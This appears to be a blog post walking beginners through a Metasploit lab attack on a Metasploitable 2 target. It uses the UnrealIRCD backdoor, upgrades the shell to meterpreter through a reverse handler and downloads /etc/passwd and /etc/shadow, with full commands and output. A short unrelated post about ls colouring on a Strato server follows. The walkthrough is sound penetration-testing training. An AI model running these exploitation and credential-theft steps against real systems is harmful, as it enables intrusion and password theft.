Penetration testing: Kali, Metasploit, upgrade of a session to meterpreter

Recently, I started reading in the German book of E. Amberg and D. Schmid on “Hacking” (see the full reference at this post’s end). This is a book with over 1000 pages and it documents the effort of the authors to give a full overview over the wide spectrum of terms used in pen-test and hacking environments, steps of penetration testing, attack variants, tools, defense options, and, and …. . Well, it provides a really broad overview, but in contrast to some other more focused books it is not a real teaching book on penetration testing – in my opinion.

However, at some points the authors describe introductory examples, also simple exploits which can be tested e.g. on targets like Metasploitable 2 or 3 or on prepared Windows systems. This post was inspired by a chapter of the authors about “meterpreter” which they introduced after an exploitation example, i.e. in a post exploitation phase. The chapter deserves some additional hints, small, but hopefully useful for beginners.

All the information given in this post is for educational purposes and addresses people interested in and starting with penetration testing. It partially refers to information on the Metasploit Framework [MSF] and Metasploitable targets published in different form elsewhere. Book references are given at the end of this post. If you test out the examples given below, only do this in environments for which the owners and the administrators of the affected networks and systems have given you explicit written consent to install, isolate and use systems with MSF and a Metasploitable target system. Cooperate with the administrators to configure respective network segments and firewalls. Never expose a Metasploitable system to the Internet.

Exploits and shells

During pen-testing (always with the consent of your customer and system administrator) you may not only be requested to find vulnerabilities, but also to verify that an attacker really could exploit them. So – again with the explicit consent of your customer and after a solid risk estimation for the systems and networks under investigation – you may start exploits, e.g with the help of the Metasploit framework [MSF]. Your first objective then – for convenience reasons, but also for obfuscation reasons – is probably to work with a meterpreter shell, which indeed offers a variety of very convenient commands for a post exploitation phase. Often exploits offered by the MSF will not give you a chance to transfer meterpreter as a payload, but only simple interaction shells.

To replace a basic command shell of an achieved session on an attacked target with meterpreter actually is a basic move within MSF, but you may have to take care of some steps ahead. In the named book the authors mention a specific method, namely to upgrade an existing “session” to a meterpreter session.

Upgrade of a plaintext command shell with “sessions -u

The named authors perform the following attack steps to get a session on a Metasploitable target:

  1. They use the exploit DistCC from a Kali host and get a command shell.
  2. They use an additional exploit for a privilege escalation to get root rights and to open a reverse shell to the attacking host; they provide the IP address of the Kali host and a listener port there as parameters of the exploit. They then prepare a suitable executable of the exploit and install it on the attack’s target host (i.e. the Metasploitable system).
  3. They start a listener (with “exploit/multi/handler”) on the Kali host. During this step they set the IP-address of the Kali host and the port there to be addressed by the reverse connection later on.
  4. They start the deployed
    secondary exploit on the attack target. Immediately afterward they get a session with a basic shell with MSF on the attacking Kali system.
  5. They list up the open sessions by “sessions -l” and get the session’s ID – e.g. 2.
  6. They upgrade the session to a meterpreter session with “sessions -u SESSION_ID“. SESSION_ID has to be replaced by the session ID. In the example: “sessions -u 2”.

So far, so good. Works perfectly – at least after this specific succession of steps.

Interestingly enough Rapid7 in its documentation on the (expensive) Metasploit Pro does not discuss the command line option “sessions -u” to upgrade a sessoin – Rapid 7 only presents the option to start a meterpreter shell via the “available actions” on the graphical interface of MSF Pro. Probably the interface does nothing else than our CLI command ….

Note that Sparc Flow in his book “Hack like a Pornstar” uses a different way in his example of attacking a Linux server. He manually prepares a meterpreter executable (with the help of “veil”) and places it on the attacked host and starts it there. Maybe more realistic. MSF in the above example transfers meterpreter components to the attacked host as a part of the last step.

Now, a beginner to metasploit may try to repeat something similar with a different basic exploit and may fail with the session upgrade. Why?

Think about firewalls – both remote and local

A trivial point might be a firewall- somewhere …
As a pen-tester you probably want to protect your own systems during tests – also when you are at a customer’s site. (You may find some guys there who try to fiddle with you during your tests.) Your Kali will run on an isolated virtual machine or special live system on some laptop. You may have some routing and a local firewall in place on your Linux host system which controls the communication to your Kali (guest) system. But also the attacked host may reside behind a firewall (e.g. of a network segment). So, you have to carefully think about which ports to use for reverse shells. This is a basic first point where real examples may differ from the idealized world in books. I recommend to train quick reconfigurations of your own firewalls – and watch their actions via “tail” during pen-tests.
Actually, if did not have to think about firewalls and the example given by the named authors worked as described without problems this is the first indication that the network and systems on it are not well managed or that you yourself are not well prepared.

Is meterpreter an optional payload of all exploits available in MSF?

Some other textbooks introduce meterpreter as a direct payload of an exploit used within MSF. One example is M. Messner’s book on Metasploit. However, many exploits available in MSF do not give you this chance. Book examples typically do and can not cover all situations. So, one should be familiar with some way of upgrading a session … Let us look at an example with “Metasploitable 2” as a target system.

Example – IRC exploit on Metasploitable 2

Lets try a specific attack from a Kali system against a Metasploitable 2 target. Each host resides in an (isolated) LAN segment.
As I have performed this attack before I already have a respective vulnerability entry in the database tables of my MSF workspace:

msf6 > vulns


Timestamp                Host           Name                                           References
---------                ----           ----                                           ----------
2020-11-26 17:15:14 
UTC  UnrealIRCD Backdoor Command Execution  CVE-2010-2075,OSVDB-65445,URL-
2020-11-26 17:34:31 UTC  VSFTPD v2.3.4 Backdoor Command Execution       OSVDB-73573,URL-,URL-
2020-11-26 17:44:45 UTC  Generic Payload Handler    

Ok, let MSF do its work:

Infos about the exploit:

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor 
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 

  OSVDB (65445)

Here we see already that this exploit does not provide much space for action on the target system. There are not many option either:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

OK, does it have a “check” option?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > check
[-] Check failed: NoMethodError This module does not support check.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

What payloads are available?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   cmd/
unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

No meterpreter there. OK, a normal shell then …

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl

Further options?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)

Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST    no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Do not getconfused by the LPORT setting. In this case it means the listening port at the attacked site – not on our local Kali host. Do our firewalls allow for packets to port 4444 on the target? Yes, OK, then we run the exploit:

Using the exploit:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] - Connected to
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] - Sending backdoor command...
[*] Started bind TCP handler against
[*] Command shell session 1 opened ( -> at 2020-11-28 14:04:02 +0100

The interesting line is the last one, no IP address of our own attacking host appears. However, netstat on the Kali host reveals:

netstat -an | grep 4444
tcp        0      0      VERBUNDEN  

Our exploit setup a TCP listener on port 4444 on the target and we connected with a command shell. We should be able to see this from our shell; we just type at the blinking cursor in Metasploit:


netstat -an | grep 4444
tcp        0      0     ESTABLISHED

Well, we became root even with this backdoor exploit. But this is only a side remark.

Now, let us use the recipe from the “Hacking”-book authors:
We press the “CTRL-Z” key combination to put our session to the background and get an option to issue further commands at the metasploit prompt:

Background session 1? [y/N]  y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix      -> (

The command “sessions” revealed a session ID to us. Now, we use the exploit shell_to_meterpreter.

Apply “shell_to_meterpreter” and “multi/handler” indirectly via ”
sessions -u”

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 
[*] Command stager progress: 100.00% (769/769 bytes)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix      -> (

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

We had expected a new meterpreter session. But nothing happens. After some time we even get a message that the started handler was stopped:

[*] Stopping exploit/multi/handler

So, what is wrong?

The manual way to upgrade to meterpreter …

When we compare our exploit to the one discussed by the authors of the “Hacking”-book we see some differences:

The authors used a reverse shell payload. At some point they specified the IP address of the attacking host, i.e. of our Kali system. In their case the “sessions” command displayed a session which explicitly contained the IP-address of the local attacker host, i.e. of the Kali system.

Hmm. We doubt that meterpreter needs an already existing reverse shell established. Reading a bit we understand that meterpreter works as staged program. Things get uploaded in pieces via an established shell to the target’s TCP handler and from there into the target’s RAM.

But what if the meterpreter piece on the target requires the IP of the host because it wants to connect to the host, i.e. built its own reverse connection from the point of the view of the attacker? And what if this is taken wrongly from the running session? Or what if a local listener on the attacking Kali host is established with a wrong IP address? Then we expect problems!

Even if we later on establish a session from the Kali host to the target the uploaded and RAM-established meterpreter part on the target needs to tell the attacking host which port it will use on the target! Thus, the communication setup on both hosts must work correctly!

Let us see. There is a manual “exploit” module and command to establish meterpreter. It is even mentioned by the authors of the “Hacking”-book, but they do not elaborate on it: “/post/multi/manage/shell_to_meterpreter“.
We saw a line about it in the output of “sessions -u”, too. Ok, let us use it:

Direct use of shell to meterpreter

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Rank: Normal

Provided by:
  Tom Sellers <>

Compatible session types:

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

We see that indeed reverse TCP handlers are established – meterpreter on the target will want to connect back to us. It starts a handler for it. And we have to provide suitable options:

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Ok, we decide for a local port 8090 – and open it on firewalls. We set the relevant options:

post(multi/manage/shell_to_meterpreter) > set LHOST
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 8090
LPORT => 8090
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1

Successful session upgrade

msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 
[*] Sending stage (976712 bytes) to
[*] Meterpreter session 2 opened ( -> at 2020-11-28 15:55:06 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell cmd/unix                                                                                  -> 172 .16.40.121:4444 (
  2         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo... -> (

Success! On our Kali host netstat reveals:

Aktive Internetverbindungen (Server und stehende Verbindungen)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0     VERBUNDEN  
tcp        0      0      VERBUNDEN  

Let us use session 1 first:

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

netstat -an | grep 4444 
tcp        0      0     ESTABLISHED
netstat -an | grep 8090
tcp        0      0      ESTABLISHED

Now we press the key combination “Ctrl-Z“, again, and switch to session 2 by using “sessions -i” (the “i” stands for “interaction”):

Background session 1? [y/N]  y
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > lcd /root
meterpreter > lpwd
meterpreter > 
meterpreter > download /etc/passwd ./metasploitable2
[*] Downloading: /etc/passwd -> ./metasploitable2/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> ./metasploitable2/passwd
[*] download   : /etc/passwd -> ./metasploitable2/passwd
meterpreter > download /etc/shadow ./metasploitable2
[*] Downloading: /etc/shadow -> ./metasploitable2/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> ./metasploitable2/shadow
[*] download   : /etc/shadow -> ./metasploitable2/shadow
meterpreter > route

IPv4 network routes

    Subnet       Netmask        Gateway      Metric  Interface
    ------       -------        -------      ------  ---------  100     eth0      0       eth0

No IPv6 routes were found.

The system is yours, now. As an example, we have downloaded the password files from the Metasploitable system to a prepared local directory for later analysis.

Enough for today. Let us kill all sessions after a “Ctrl-Z”:

Background session 2? [y/N]  
msf6 post(multi/manage/shell_to_meterpreter) > sessions -K
[*] Killing all sessions...
[*] - Command shell session 1 closed.
[*] - Meterpreter session 2 closed.

What was the reason for the failure in the first trial with “sessions -u”?

You can repeat out first attack and start “sessions -u”. You have some time until the multi-handler gets stopped again. During this time you can check communication packets with wireshark at network interfaces of the hosts. And you can have a look with netstat at listeners and ports on the hosts. You will find that packets from the targetto the Kali host are addressed correctly. But a look with netstat on the Kali host reveals:

tcp        0      0  *              LISTEN    
tcp        0      0      VERBUNDEN  

In case of the working solution we find in contrast:

tcp        0      0      VERBUNDEN  
tcp        0      0     LISTEN   

and then

tcp        0      0     VERBUNDEN 

So, the handler for the reverse connection on the Kali host caused the problem: It took the default IP from the original session which only had to establish a forward direction.


During our experiments we saw that some simple text book examples do not always work. It depends on the exploits, the handlers, the required parameters for communication settings, …. Upgrading an existing basic shell session (connected to a compromised target host) to a meterpreter session will not always work with “sessions -u”.

The success of “sessions -u” depends on the original exploit options and their payloads. Some exploit/payload combinations do not require a LHOST IP address. They do not set up a reverse connection. Instead may appear after the exploit in the local MSF session overview. Then “sessions -u” will fail. Metasploit is not perfect ….

In such cases it is good to know that you can use and configure “post/multi/manage/shell_to_meterpreter” manually. In most cases this lead to a successful upgrade of an existing session to meterpreter where “sessions -u” failed.

Book references

“Hacking – Der umfassende Praxis-Guide”, Fritz Amberg, Daniel Schmidt, 2020, mitp Verlags GmbH & Co KG, Frechen

“How to … Hack like a Pornstar”, Sparc Flow, 2017, ISBN 978-1-5204-7851-7

“Metasploit- Das Handbuch zum Penetration-Testing-Framework”, M. Messner, 2012, dpunkt.
verlag GmbH, Heidelberg


Strato-V-Server – Opensuse 13.1 – get colors for the "ls" shell command

Today, I tried to work with a freshly installed Strato-V-Server. I had chosen Opensuse 13.1 (64 Bit) as the operative system. When I used the “ls” command I missed the standard coloring of directories and special files.

Using the “env” command and a comparison with a normal Opensuse 13.1 installation showed that required settings for the “ls” coloring were missing. SuSE normally adds these settings via a script “ls.bash” located in the directory “/etc/profile.d”. However, this file was missing on the Strato server. [The script in turn uses “/usr/bin/dircolors”, which existed on the system.]

You could compensate the lack of coloring by manually adding a line

ls –color=tty

to a local “.bashrc” file. However, this would only give you parts of the SuSE coloring scheme for your shell.

The missing file “ls.bash” is the result of a really minimum Opensuse 13.1 installation provided by Strato on their V-servers. It took me a while to find the right RPM package which installs the required files. It is the RPM aaa_base-extras.

After the installation of this package and a reopening of your shell “env” will show some additional lines that control the “ls” color settings:

user@hxxxxxx:~> env | grep LS
LS_OPTIONS=-N --color=tty -T 0

I hope this information will help others who miss the the usual “ls”-coloring on Strato-V-servers, too.